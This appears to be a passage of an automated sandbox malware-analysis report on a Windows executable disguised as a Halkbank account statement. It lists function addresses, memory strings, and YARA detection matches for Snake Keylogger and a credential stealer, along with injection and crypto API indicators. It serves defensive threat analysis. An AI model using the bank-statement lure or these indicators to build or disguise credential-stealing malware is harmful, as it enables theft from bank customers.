Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662D6C0	3_2_0662D6C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662D6B0	3_2_0662D6B0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662DF60	3_2_0662DF60
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662DF70	3_2_0662DF70
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662DB0A	3_2_0662DB0A
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662DB18	3_2_0662DB18
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662E3C8	3_2_0662E3C8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662E3B9	3_2_0662E3B9
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662EC69	3_2_0662EC69
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662EC78	3_2_0662EC78
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06620C50	3_2_06620C50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662E820	3_2_0662E820
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06620006	3_2_06620006
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06628008	3_2_06628008
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662E812	3_2_0662E812
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C0F7	3_2_0662C0F7
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066210C0	3_2_066210C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F0C0	3_2_0662F0C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F0D0	3_2_0662F0D0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066210B0	3_2_066210B0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06624480	3_2_06624480
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C560	3_2_0662C560
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621970	3_2_06621970
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F971	3_2_0662F971
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C550	3_2_0662C550
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621520	3_2_06621520
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C108	3_2_0662C108
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621510	3_2_06621510
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F518	3_2_0662F518
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621DD0	3_2_06621DD0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C9A9	3_2_0662C9A9
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662C9B8	3_2_0662C9B8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621980	3_2_06621980
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F980	3_2_0662F980
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06638A58	3_2_06638A58
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663CE28	3_2_0663CE28
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663DAC0	3_2_0663DAC0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663AEA8	3_2_0663AEA8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663BB38	3_2_0663BB38
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663C7D8	3_2_0663C7D8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663D478	3_2_0663D478
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663A858	3_2_0663A858
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663B4F0	3_2_0663B4F0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066390A1	3_2_066390A1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066315F8	3_2_066315F8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663C188	3_2_0663C188
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06635A68	3_2_06635A68
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06638A48	3_2_06638A48
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06635A58	3_2_06635A58
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06638600	3_2_06638600
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663CE18	3_2_0663CE18
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06635EC0	3_2_06635EC0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663DAAF	3_2_0663DAAF
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06635EB2	3_2_06635EB2
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636760	3_2_06636760
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636770	3_2_06636770
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663BB27	3_2_0663BB27
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636308	3_2_06636308
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636318	3_2_06636318
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066337FA	3_2_066337FA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663C7CB	3_2_0663C7CB
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636BC8	3_2_06636BC8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06636BB8	3_2_06636BB8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06633B80	3_2_06633B80
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630040	3_2_06630040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06632C57	3_2_06632C57
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06637020	3_2_06637020
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630007	3_2_06630007
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06633808	3_2_06633808
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06637010	3_2_06637010
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066308E1	3_2_066308E1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066378E7	3_2_066378E7
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066308F0	3_2_066308F0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066378F8	3_2_066378F8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066374A0	3_2_066374A0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06634880	3_2_06634880
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630488	3_2_06630488
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06637490	3_2_06637490
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630498	3_2_06630498
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663C178	3_2_0663C178
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06637D40	3_2_06637D40
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630D48	3_2_06630D48
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06637D50	3_2_06637D50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06630D38	3_2_06630D38
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06632D00	3_2_06632D00
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066355E8	3_2_066355E8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066385F1	3_2_066385F1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066355DA	3_2_066355DA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066311A0	3_2_066311A0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066381A8	3_2_066381A8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06631191	3_2_06631191
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0663819A	3_2_0663819A

Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1980117407.000000000280A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1978545566.000000000080E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.2001619425.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000000.1967619527.0000000000394000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamekrUK.exe: vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.2002294197.0000000007300000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1980117407.0000000002771000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3220219789.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Halkbank_Ekstre_20230426_075819_154055.exe
Source: Halkbank_Ekstre_20230426_075819_154055.exe	Binary or memory string: OriginalFilenamekrUK.exe: vs Halkbank_Ekstre_20230426_075819_154055.exe

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, 2Ac.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, 2Ac.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, XG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, FHTwk1OmDHvQcjT4D9.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a87600.8.raw.unpack, xPlBfKlGB2IZMVKKlN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.7300000.11.raw.unpack, xPlBfKlGB2IZMVKKlN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Halkbank_Ekstre_20230426_075819_154055.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Mutant created: NULL

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

